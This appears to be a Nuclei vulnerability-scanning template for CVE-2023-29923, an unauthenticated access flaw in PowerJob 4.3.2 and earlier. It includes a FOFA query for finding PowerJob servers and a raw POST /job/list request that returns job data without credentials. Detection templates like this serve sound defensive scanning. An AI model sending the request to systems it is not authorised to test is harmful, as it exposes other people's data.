id: CVE-2023-29923

info:
  name: PowerJob <=4.3.2 - Unauthenticated Access
  author: For3stCo1d
  severity: medium
  description: |
    PowerJob V4.3.1 is vulnerable to Insecure Permissions. via the list job interface.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information or perform malicious actions.
  remediation: |
    Upgrade PowerJob to a version higher than 4.3.2 or apply the necessary patches to fix the authentication bypass issue.
  reference:
    - https://github.com/PowerJob/PowerJob/issues/587
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29923
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-29923
    cwe-id: CWE-276
    epss-score: 0.00336
    epss-percentile: 0.68252
    cpe: cpe:2.3:a:powerjob:powerjob:4.3.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: powerjob
    product: powerjob
    fofa-query: app="PowerJob"
  tags: cve2023,cve,powerjob,unauth

http:
  - raw:
      - |
        POST /job/list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"appId":1,"index":0,"pageSize":10}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"success":true,"data":{"index":0,"pageSize":10,'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022032e5f7965419954c1523bd95cc68756e7f62b769f31076e1ff2e08194e254dc30221008f9246b5ee4e77f13e735e7b0b05b95259fcc150a4197f844348b56a200d8160:922c64590222798bb761d5b6d8e72950